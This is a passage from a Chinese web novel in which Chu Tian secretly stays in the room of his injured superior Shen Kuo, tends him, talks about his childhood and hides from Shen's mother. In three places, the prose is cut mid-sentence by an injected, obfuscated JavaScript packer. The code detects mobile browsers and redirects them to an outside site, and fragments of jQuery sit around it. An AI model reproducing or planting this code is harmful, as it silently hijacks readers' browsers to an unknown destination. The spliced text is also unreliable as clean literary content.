楚恬自觉身份卑贱，不敢轻易踏足高门贵地，因而有些犹豫，他弱声反问柳青：“太师府？我可以去吗？” 柳青却以为楚恬不想去，“为何不能？大人平时待我们那么好，如今他受了难，我们虽帮不上什么忙，去探望探望他总是可以的。” “怎么，你害怕被牵连？” 楚恬一头雾水，“大人他怎么了？” 柳青顿了一顿，“你还不知道啊？” “嗯，究竟发生什么事了？”楚恬有些急了。 柳青叹了口气，才道：“今儿个早朝的时候，以沈尚书为首的朝中大臣又在催太子殿下册立太子妃了，殿下他心中不喜，但又不便强硬拒绝，所以大人便替殿下怼了那些大臣几句，气得沈尚书刚回府便对大人动了家法。” “大人受伤严重吗？”楚恬焦急地追问道。 “你说呢！挨了二十鞭，背都打烂了。”柳青叹道，“沈尚书虽是个文人，但下手之狠一点儿也不输武官。” “你到底去不去？”柳青又问楚恬。 “去！”楚恬猛点着头。 楚恬跑回屋里搜罗出了许多他之前没用完的金创药，准备一同带去太师府，柳青无奈大喊道：“那可是太师府，不缺你这三瓜两枣的，更何况太子殿下还专门差人送了宫廷御药过去，你拿了也派不上用场。” 楚恬犹豫了片刻，最终还是用布包了一兜的瓶瓶罐罐，想着哪怕用上一个也是好的。 太师府朱门紧闭，柳青瞥了一眼，径自带着楚恬朝侧门走去。 将门叩开后，从里面鬼鬼祟祟地支出来一个脑袋，见是柳青才侧身让开。 “他是谁？”小厮问。 柳青道：“也是提刑司的，与我一道给大人送东西过来。” 小厮上下打量了楚恬一番，见他抱了一怀的东西倒也没有过多怀疑，只是叮嘱二人道：“既是提刑司的就可以进去，但切记不可在府中乱跑，以免冲撞到了主人。” “放心，我懂。”柳青道。 小厮对柳青还是比较放心的，便也没再说什么。但他的话却或多或少地让楚恬感受到了不安，加之柳青谈及沈阔之父沈煜时直摇头，说他是个不懂变通的老古板，总觉得儿子结交的朋友都是些不三不四之辈，加之其父沈长风喜静，所以沈煜最不喜欢陌生人擅自来访。 听完柳青说的这些，楚恬心中的压力更大了，生怕一不小心就撞上了沈煜。 “没事儿，他不常来大人院中。”柳青安慰他道。 楚恬点了点头，抱着一兜没什么用的罐子，小心翼翼地跟在柳青身后。 到达沈阔卧房外的时候，刚好碰到丫鬟端着一盆血水从屋里出来，吓得楚恬立马紧张了起来。 接着，柳青抠响了房门。 “谁？”沈阔的嗓音依旧中气十足。 柳青道：“大人，是属下。” 沈阔却不想让他进去，“何事？门外说就行了。” “没事。属下就是担心大人，过来看看您。”柳青回头看了眼楚恬，又补充了一句，“小楚也来了。” 里面沉默了一瞬，接着沈阔略带疲惫的声音从里面传了出来，“那，进来吧。” 柳青推门而入，楚恬紧随其后。 此时的沈阔刚清洗过伤口换了药，正坐在床边慢腾腾地穿着里衣。 楚恬一抬眸，沈阔苍白的面容就映入了他的眼帘。认识沈阔这么久，他还是第一次见他这般黯然无神的模样。 霎时间，楚恬的心便揪在了一起。 沈阔目不转睛地盯着楚恬，看到他怀里的布兜后，问他，“给我带了什么好东西？” 楚恬松了手，想递过去又有些难为情，“是药。” “哦，药啊。”沈阔道。 于楚恬而言，这些都算是最珍贵最值钱的东西了。这时候他才后悔没听柳青的话，就不该带这些没用的东西来的。 或许，他也不该来此。 偏偏柳青还在一旁打趣笑话楚恬：“我都跟他说了太师府什么也不缺，他偏不信。” 沈阔闻言一记眼神横了过去，他问柳青：“那你给我带了什么？” 柳青一愣，摊开空无一物的双手。 沈阔又道：“空着手来探望病人，你也是古今第一人了。” 柳青嘿嘿笑着，悄咪咪地将刚拿起的苹果放了回去。 “还是你有心。”沈阔朝楚恬招了招手，“给我看看，你都带了些什么药。” “都是之前您给我的。”楚恬迟疑了一瞬后还是走近了沈阔，“您这儿应该都有。” 沈阔却坚持从中挑了个瓶子出来，“这个去疤的药，我这儿还真没有，得亏你带了一瓶过来。” 柳青却不屑一顾，他边啃着苹果边道：“又不是待嫁的姑娘，去什么疤啊，况且有疤的男人才更显男子气概！” 沈阔瞪了他一眼，冷声道：“如果没有别的事，你就先回去吧。” 屁股都还没坐热的柳青不情愿地站起身，“行，那属下明——” “明天也不用来了。”沈阔断然拒绝道。 “行，那属下就不在这儿碍您的眼了，您好生将养身子。”柳青转头看向楚恬，“小楚，咱走吧。” 楚恬正要应声，却突然被沈阔抓住了手腕，“你走，楚恬留下。” 柳青愣了，楚恬亦然。 “这个......那个......”柳青一时不知该说些什么。 顿了顿，他才接着说道：“还是别了吧，要是让尚书大人知道了的话，又得罚您了。” 听到“罚”这个字，楚恬一下就慌了，他立马挣脱了沈阔的束缚，跑到了柳青身后，“我还是跟柳大哥一起回去好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852992|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 沈阔伸手去抓楚恬，不小心掉到了后背的伤，疼得他皱起了眉头，“我受了伤，起居不便，怎么，你不愿留下来照顾我？” 楚恬又犹豫了。 但是柳青却很是纳闷儿，这太师府上下有那么多人伺候，缺楚恬这一个么？ 况且，沈阔伤的是后背，怎么就起居不便了？ 之前那个身受重伤在鬼门关徘徊了好几次仍旧坚强如铁的沈阔去哪儿了？犹记得，当时瘫在床上起不来的沈阔说什么也不让人伺候大小便，而是硬撑着身子爬起来自己解决的。 “算了，你要走就走吧。”沈阔垂下眼睑。 楚恬作了一番思想斗争后，最终还是决定留下来。 柳青搞不懂沈阔是怎么想的，他甚至怀疑沈煜是不是不小心伤到他脑子了。但他更弄不明白楚恬的心思，就连他都看得出沈阔是在找借口，怎的他就中了套呢？ 但柳青也懒得说了，聪明人的心思，他又怎么揣测得明白？ 柳青摇了摇头，挥挥手，独自离开了。 “随便坐。”沈阔对拘谨的楚恬道。 楚恬环顾四周，端了把凳子放在床的对面坐下了。 两人干瞪着眼儿，面对面坐着，怎么都觉得气氛有些尴尬。 “你饿了没？” “大人还疼吗？” 两人突然同时开口。 楚恬摇了摇头，沈阔则轻轻活动着肩膀，逞强道：“还行，不怎么疼。” 但眼尖的楚恬还是瞧见了沈阔微微抽搐的嘴角，沈阔也不是个矫情的人，都被打得出不了门，又怎会不疼呢。 “大人饿不饿？”楚恬又问沈阔，“要不我去厨房给大人端点儿吃的来？” “不，不必了。”沈阔急忙捉住了楚恬的手，“我刚吃过了。” 见楚恬闲得有些不自在，沈阔只好让他给自己倒杯茶。 楚恬摸着茶壶，发现茶早已凉透了，又想去给他换壶茶，但沈阔依旧不让。 沈阔的反常让楚恬察觉到了一丝端倪，他问沈阔：“大人是不想让别人发现我吧？” 被戳穿的沈阔无奈揉了揉鼻尖，顿了片刻后，他如实以告：“父亲不喜生人出现在家里，要是被他发现的话，定然免不了一番责骂。” “那大人何故要骗我留下来照顾你？”楚恬又问。 沈阔沉默不语，其实他自己也弄不明白那样的话怎就从他口中说出来了。 “你要是想走的话，我现在就可以让人送你回去。”沈阔道。 不知是不是楚恬的错觉，他竟然从沈阔的语气中听出了一丝......落寞？ “大人想让我留下来？”楚恬再次向沈阔确认道。 沈阔的嘴角动了又动，如此反复数次后，他才下定决心点了头。 “嗯。” “那我便留下来吧。”楚恬倏地笑开。 “就是得委屈你待在这屋中了。”沈阔道。 楚恬环视着屋中布局，笑着回道：“不委屈。” 这里怎么也比弄春楼的地牢强，况且有沈阔作伴，他又怎会觉得委屈呢。 36.谈心 傍晚时分，丫鬟给沈阔送了晚膳过来。 听到有人叩门，受惊的楚恬原地弹起，在屋中打了几个转后才在沈阔的指引下藏到了帷帐后面。 因着沈阔受了伤，后厨送的都是些清淡的菜食，且分量只够他一人吃。沈阔瞥了眼帐后那抹若隐若现的身影，又吩咐丫鬟再多送饭菜过来。 丫鬟虽不解，但还是二话不说地照做了。 饭菜上齐后，楚恬先为沈阔盛了汤，又为他布了菜，他时刻注意着沈阔的一举一动，沈阔才刚抬起筷子，楚恬便已将他想吃的菜夹到了他的碗里。 沈阔虽不至于痛到半身不遂的地步，但看着楚恬为他忙前忙后，无微不至地照顾着他时，他心里是美滋滋的。 虽然府中的下人同样会尽心尽力地照顾他，可他们只是按部就班地完成自己的差事罢了，绝不会如楚恬那般满心满眼都是他。 即便楚恬什么也不做，只在这里陪陪他，他都是开心的。 当然他也奇怪，这种与众不同的感觉到底因何而生。 有人陪伴的时光总是过得极快，吃完饭，天就已经全黑了。 洗漱完后，楚恬看着屋中仅有的一张床陷入了沉思。 沈阔倒是一点儿也不吝啬，他叉腰站在楚恬旁边，“大气”地说道：“床这么宽，别说我们两个了，就是再来一人也能睡得下。” “这与床宽不宽没有关系。”楚恬垂下头低声说道。 沈阔不解，“那与什么有关？”他偏头看了眼楚恬，看着对方通红的脖颈，他凑近楚恬轻笑着调侃了一句，“你，不会是害羞吧？” “我......”楚恬开不了口。 沈阔看着楚恬呆愣且窘迫的模样，逗趣心更甚，“怕什么？我又不会吃了你。过去我在锦衣卫当差时，常与人同榻而寝，也没人控诉我半夜梦游咬人的。” “不行。”楚恬想了许久，总算是憋出了一个稍微恰当的理由，“我睡姿不端，怕踢着大人的伤处。” 沈阔本想再逗一逗他，但又见着楚恬脸红得快滴出血来了，只得按下了这份恶趣，他指着衣柜对楚恬道：“柜中有被褥，你拿出来在这里打个地铺吧。” 楚恬听话地铺好了被褥，然后沈阔便一屁股坐了下去。 “你睡床，我睡地铺。”沈阔道。 楚恬瞪大了眼睛，“那怎么行——” “我背上有伤，不能躺，趴哪儿不是趴？还不如把床让给你睡个好觉。”沈阔又道。 楚恬却怎么也不肯依沈阔的话，他抓着沈阔的手腕奋力将他拉起来并推到了床边，“正因为大人您受了伤，才更应该睡得舒适些，我过去睡惯了地铺，不会影响到我休息的。” 楚恬那执拗的样子，沈阔若是不答应的话，两人怕是得僵持到天亮。 “行吧。”沈阔妥协。 楚恬这才展露出笑颜，“那我为大人宽衣。” 沈阔乐得享受着楚恬的照顾，且让他做一回衣来伸手饭来张口的“废物”吧。 “行。”沈阔含笑应下。 接着楚恬便开始为他宽衣解带，虽然沈阔身上缠着裹帘，但已有血迹从里面浸了出来，即便隔着里衣也能瞧见殷红的血痕。 “怎么了？”察觉到楚恬没了动作，沈阔回头询问。 楚恬摇了摇头，“没什么。” “没事儿，我不痛。况且就这点小伤于我来说根本不算什么。”沈阔反过来安慰楚恬道。 楚恬又不是傻子，他怎么可能会信沈阔说的不痛的话。 “真的。”见楚恬不信，沈阔又强调了一遍，“我之前受过的伤可比这个严重多了。” 他从不怀疑沈阔的英勇，“但这次大人明明可以不用挨打的。” 沈阔转身看着楚恬，叹道：“身为人臣，自是要为君王分忧的。” “那大人在挨打的时候就不会求饶吗？”楚恬道，“沈尚书怎么说也是您的父亲，您若告饶的话，他绝不会下这么重的手。” 沈阔却道：“在家挨父亲的打，总比出了门遭人黑手要好吧？这伤看着瘆人，实则都是皮肉伤，要不了三五天就好了。” 楚恬似乎明白了他们父子之间的真实用意。 “大人您先躺——先趴下，我为您盖好被子再去睡。”过了一会儿，楚恬又对沈阔道。 沈阔依言趴下，楚恬又拉过枕头垫在他的胸前，待他调整好姿势后，才拉了被子轻轻地为沈阔盖上。 转过身，楚恬脱了外裳，他钻进被窝后，对沈阔道：“大人有任何需要尽快叫我便是。” “好。”沈阔将手垫在颔下，目不斜视地看着楚恬的一举一动。 楚恬朝沈阔微微一笑，转头吹灭了床头的烛灯。 沈阔的伤的确不重，但总是一阵一阵地抽着疼，而且同一个姿势保持得久了，就会出现痉挛，使得他怎么也睡不踏实。于是他索性不睡了，小心地翻了个身侧躺着，开始打量起熟睡的楚恬。 恰在这里，清冷的月光穿透窗格照进了屋里，堪堪打在楚恬的脸上。 银辉将楚恬白皙的皮肤衬得更加雪白，少年的眉宇间，仍未脱去未谙世事的稚嫩，但即使睡着了，他依旧紧蹙着眉头，时不时地轻轻翻动下身子，好似睡中也不得安宁。 两个多月的时间里，楚恬总算是长了二两肉，不再像初识那般瘦削，面上也添了些血色。 楚恬的五官不像沈阔的深邃饱满，而是更显柔婉，有那么一瞬，沈阔觉得，楚恬好看得不像个男子。 这么个美人胚子确实很诱人，也难怪尤二娘不愿放手。 “大人，你睡不着么？”不知何时，楚恬醒了，“渴吗，我给你倒杯水。”说着，他已坐起了身。 “不用，我不渴。”沈阔赶忙拒绝。 深夜实是难熬，沈阔见楚恬也醒了，索性让他陪自己聊一会儿。 “大人想聊什么？”楚恬重新躺下。 沈阔沉默了半许，“跟我说说你以前的事？” “以前的事？”楚恬侧身而躺，他的目光忽而变得幽深，像是在极力回忆着过去。 “我阿娘在生我的时候难产而死，是阿爹独自将我抚养长大。”许多事楚恬都已记不清了，就连陪伴了他十二年的父亲的模样，也在他的脑海中逐渐变得模糊，“自我记事起，阿爹便带着我东奔西走四处讨饭吃，直到我十二岁那年，他生病离世，而我则被人牙子所骗卖入了长京。” “你们因何流落四方？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862311|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈阔好奇。 楚恬摇了摇头，“具体情况我也不清楚，阿爹只说是被当地豪绅所欺无法在老家立足才被迫流离失所的。” “你的老家在哪里？”沈阔道，“那里可还有你的亲人？” 楚恬依旧不知，只道：“我每次问起这个，阿爹都沉默不语，丝毫不愿提及那个伤心之地。但他常告诫我，不要总纠结于过去，要向前看，即便日后遇到了害我家破人亡的仇人，也不要想着报仇。” “冤冤相报何时了。”楚恬重复起阿爹常挂在嘴边的话，“他叮嘱我无论何时都是坚强地活下去，这样才不负他和阿娘的遗愿。” “父母之爱子，则为之计深远。”沈阔叹道。 沈阔又问他：“那你又是怎么想的？想报仇吗？” 楚恬没有明确回答沈阔这个问题，只是喃喃道：“报仇么？找谁呢？况且就凭这般无用的我，又该如何报呢？” “看来你阿爹不告诉你真相是对的。”沈阔安慰他道，“他定是不想让你一生都活在仇恨之中，只要你平平安安的，就是他们此生最大的夙愿。” 楚恬轻轻嗯了一声，“所以我即便在弄春楼受尽了折辱，也仍在苟且偷生，若非尤二娘苦苦相逼，我也绝不会动了轻生的念头，好在大人在最后关头出现救了我一命。” 于沈阔而言，他不过是举手之劳，而对楚恬来说，无疑是再造之恩。 即便是沈阔自己，怕是也理解不了楚恬对他的感激到底有多深。 为了沈阔，他愿意付出生命。 沈阔却道：“冥冥之中，应是你父母在庇佑。” “或许吧。”楚恬没有辩驳。 “幼时生活虽艰，但可能是有阿爹陪伴的缘故，从不觉得苦闷难熬。”提起阿爹，楚恬的嘴角不自觉地浮起一抹笑意，“阿爹虽是山野出身，却从不苛待于我，更不信什么棍棒底下出孝子的话，他从没打过我，连重话都不曾多说一句，即便我犯了错，也是耐心地同我讲道理。” “他教我读书认字，却鲜少教我写字。他说朝官看着光鲜亮丽，但人心难测，况且朝野动荡，他不愿让我搅入这滩浑水之中，所以嘱咐不要想着考取功名，只需寻个糊口的伙计安稳度过一生便好。” 沈阔疑惑道，“他年轻时在长京待过？还是他曾在某官衙里谋差?” “没有。”楚恬难得笃定了一回，“他一直生活在老家，以种地为生，在家中蒙难后才带我背井离乡的。” “哦。”沈阔感慨道，“那还真是难得，他身在乡野，却能有这般通透的心境。” “之后他便带着我隐姓埋名盘桓于从州和孚州一带，我们相依为命苟且度日，过了几年，阿爹带着我前往荣州，奈何山路多艰，又突遇数百年难得一遇的暴雪天气，致使阿爹身患恶疾，最终殒命于荣州。” 说到这里，楚恬的眼角不禁滑下两行清泪。 他艰涩地吞着口水，最后将头埋于臂弯之中，倔强地揩干了眼泪。 “别哭。”沈阔下床蹲在楚恬的地铺前，轻轻地拍着他脑袋，“等以后时机合适了，我陪你去荣州将你阿爹的尸骨迁入京中，这样你就能时常去祭拜，以慰哀思。” “好。”楚恬呜咽回道。 37.“金屋藏娇” 翌日清晨，天微亮。 晨光稍稍有些刺眼，半梦半醒的楚恬翻了个身，避开了光线准备继续睡。 突然，叩门声响起，紧接着便传来了一道中年妇人的声音。 “阔儿，你醒了吗？” 女声温柔似水，却炸得屋中两人瞬间惊醒，不约而同地弹坐起来。 “谁啊？”楚恬用唇语询问沈阔。 “我母亲。”沈阔同样无声答道。 “娘现在进去了哦。”秦君华推了下门，却发现里面门闩紧锁，她回头看了眼伺候沈阔起居的丫鬟和小厮，疑惑道，“奇怪，阔儿以前从不闩门的。” 下人也不知其中缘由，但也如实告知了小主人自昨日开始就有些一反常态。 秦君华有些慌了，开始急促地敲起了门，“阔儿，你没事吧？”说着还吩咐小厮去找府中力士，似有撞门之意。 “娘，我没事。”沈阔赶忙应道，“您别急，待儿子穿好衣服就来开门。” 秦君华这才松了口气，她将小厮唤了回来，耐心等在门外。 “现在怎么办？”楚恬将被褥塞回柜中，像只无头苍蝇似的在房间里打转，但始终没有寻到一个合适的藏身之处。 楚恬打算藏在柜中，却被沈阔的把拉了回来，他指了指床上，示意楚恬藏在被窝里。 “这能行吗？”楚恬表示怀疑。 “那也比藏衣柜稳妥。”沈阔拍了拍胸脯，“交给我，你放心。” 楚恬虽不十分相信，但眼下也别无他法，只得爬到了床的最里处，并用被子将自己裹了起来。 好在楚恬纤瘦，乍一眼，还真看不出里面藏了人。 沈阔又从柜中取了床被子凌乱的扔在床上，一半盖在楚恬身上，这样下来，就更看不出端倪了。 “娘，你怎么过来了？”沈阔拉开门，笑盈盈地看着母亲。 “怎么，为娘来不得？”秦君华从进屋开始便开始四处巡视，她半认真半玩笑地说道，“你这般心虚，莫不是在屋里藏了什么吧？” 沈阔干笑一声，“瞧娘说的，我这儿能藏什么？” “最近虽然降了温，但还是要多通风。”秦君华将推开窗户，也没看到后院有可疑的痕迹，接着她又给丫鬟递了个眼色，后者会意地卷起了床后的帷帐，里面的浴桶中也是空无一物。 “瞧瞧你这屋里乱的啊。”秦君华无奈地摇了摇头，转头又吩咐丫鬟，“还不赶紧给公子收拾一下，不穿的衣裳就叠好放在柜子里。” 检查完衣柜后，秦君华有些失望，但又暗自庆幸，还好自己儿子没做什么出格的事。 “母亲在找什么？”沈阔毫不犹豫地戳穿了母亲的把戏。 秦君华一怔，这次轮到她发出了干笑声，“我没有啊，你受了伤，娘只是想让你住得舒适些而已。” 但她很快又换了副委屈的脸色，“怎么，当娘的心疼自己的孩子也不行吗？” “娘你别这样。”沈阔对于母亲的转变早已见怪不怪，“孩儿只是觉得您今天有些奇怪，无心一问罢了。” 秦君华自觉理亏，赶紧转了话头，“你的伤怎么样了，快让娘瞧瞧。” “爹还是手下留情了。”沈阔当着母亲的面活动了肩骨，“已经不疼了。” 秦君华却执意要给沈阔换药，沈阔拗不过他娘，只得脱下上衣坐在了凳子上。 换完药后，沈阔坐回了床沿，而他母亲也将视线落在了他身后的被褥上。 秦君华道：“被子上全是药味，让春兰给你换套被褥，你也能睡得舒服些。” “行。”沈阔爽然应下，“不过我刚上了药，还是等会儿再换吧。” “昨夜没怎么睡好，我想补个回笼觉。”沈阔补充道。 秦君华没有强迫他，母子二人又聊了一会儿后，秦君华才起身准备离开。 “好好休息，娘晚点儿再来看你。” “好。娘慢走！”因着秦君华太磨蹭了，使得沈阔的急切无意间暴露了他的做贼心虚。 裹在被子里的楚恬一动不敢动，紧张得手心都出了汗，沈阔亦觉懊恼，那么久都捱过来了，怎么在最后一刻露出了马脚呢。 但好在秦君华并没有折返回屋里，她淡淡扫了眼儿子的床后便匆忙地离开了。 等母亲的身影消失在拐角，沈阔赶紧关上了门，“可以出来了。” “呼！”楚恬从被子里钻出来，大口大口地呼吸着。 “其实我大可不用躲藏的吧？”楚恬憋得涨红了脸，也让他后知后觉地想明白了一件事，“即便被你母亲发现了，最多也就是将我逐出太师府而已，现在这样一藏，反而坐实了我们之间存有见不得人的勾当似的。” 沈阔一怔，好像还真是这样，“刚才太着急了，脑子竟也跟着生了绣。那现在怎么办？” “大人问我啊？”楚恬睁着一双无辜又水灵的眼睛，最后叹了一口气，“只能躲着了呗。” 说完，两人看着彼此忽然间笑得前仰后合。 就这样，两人躲躲藏藏地又过了一天。 晚间时候，春兰和阿福往浴桶里灌了大半桶水，春兰刚拿起帕子就被沈阔给拿了过去，“这儿不需要你伺候，下去吧。” “可是——” 春兰刚开口便被沈阔打断了话，“我背上有伤，不能搓，只需泡一会儿就行了。” 春兰想了想，觉得也有几分道理，“是。” 接着沈阔从衣柜里拿出了干净的里衣递给楚恬，道：“你先洗。” 楚恬不愿，沈阔又拿了背上的伤说事，“我要是先洗的话，满缸都是血和药水，你还怎么洗。” 楚恬这才接过衣裳走到了后面，他转身放下帷帐，正要脱衣裳时，忽然听到沈阔略带笑意的问道：“需要我帮你搓背吗？” “不，不用了。”楚恬慌张回道。 “好吧，若有需要随时叫我。”沈阔故意逗他。 “嗯。”楚恬红着脸应了一声。 害怕将水搅冷，楚恬很快便洗好走了出来。 “可是我需要你帮我。”沈阔道，“我自己洗的话很容易将水洒到伤口上。” “这是我应该做的。”楚恬想也没想地应了下来。 但很快，他就发现有些不对劲，因为沈阔脱了上衣后又开始脱起了裤子。 楚恬下意识地背过了身，但他又觉得此举有些不妥，沈阔为主他为仆，主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872579|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仆之间是没有这些计较和避讳的。 于是他又慢慢地转回了身，却见沈阔已经坐进了浴桶，并眼中带笑地看着他，“怎么？不想帮我啊？” “不是。”楚恬低声回道。 待楚恬走近后，沈阔才换了个面趴在了浴桶上。 楚恬不由得松了口气。 楚恬像是呵护珍宝般小心翼翼地避着沈阔后背的伤，又拧干了帕子为他擦拭了后脖颈和胳膊。 楚恬的脑中一片浆糊，只得手下的皮肉绷得非常结实，尤其是沈阔脖子上的几道青筋，无端让人遐想联翩。 楚恬甩了甩脑袋，强迫自己专心为沈阔擦洗身子。 在此期间，二人都未曾说过一句话，即便是逗惯了楚恬的沈阔，也难得沉默了下来，只是将手垫在浴桶和下巴之间，闭眼享受着。 “大人，水有些凉了。”楚恬道。 许久之后，一道浅浅的应声才从沈阔的鼻腔传出，“我知道了，你先出去吧。” 楚恬将里衣递到沈阔手上后便退了出去，而沈阔却是耽搁了很久才出来。 沈阔出来时，楚恬已经打好了地铺，沈阔也没说什么，可到了半夜时分，沈阔就听到楚恬咳了几声。 他怎么忘了，楚恬的身子一向不怎么好。 于是在他的强烈要求下，并威胁要将楚恬抱上床时，楚恬才抱着被子上了沈阔的床。 楚恬自是不忍让沈阔睡地铺，于是二人最终还是躺在了一张床上。 “你的手怎么这么冷？”沈阔整理被子的时候不小心碰到了楚恬的手。 楚恬道：“我自小就是这样，一到入冬的时候便会手脚冰凉。”说着，他朝床里面挪了挪，以免将冷气传给沈阔。 但沈阔却将自己的那床被子盖在了楚恬身上，并将他裹得跟个粽子似的，“别乱动，不然你病了的话我还得反过来照顾你。” “哦。”楚恬真就听话地一动不动。 楚恬的睡姿算极好的，一整夜都没翻过身，倒是沈阔就跟浑身长刺了似的动个不停。 以至于清晨醒来时，原本在两个被窝的二人竟然睡在了一起。 四目相对，二人双颊霎时就变得通红。 愣怔了片刻后，楚恬裹紧被子慢慢挪开了些距离。 他刚想起床，却见春兰给沈阔送药来了，吓得他立马缩回了被窝里。 沈阔强忍笑意为楚恬掏了个洞，看着对方露出来的半个脑袋，竟鬼使神差地刮了下楚恬的鼻子。 反应过来的二人都不可置信地看着彼此，却又不敢出声。 楚恬紧抿着唇，眨了眨眼睛后，不着痕迹地缩回了被子里面。 沈阔则捏着拳头轻轻捶了捶眉心，暗自吐了口气后才钻出床，并自然地褪下衣裳让春兰换了药。 “公子的伤都在开始结痂了。”春兰道，“夫人传话说让公子闲时到院中逛逛，这样或许会好得更快一些。” “嗯，我知道了。”沈阔疑惑，“母亲今日怎么没来？” 春兰道：“夫人昨日晚膳后迎风受了寒，有些不适，这才没有过来看公子。” “不过夫人让公子不要担心，她已经好多了，无需前去探望。”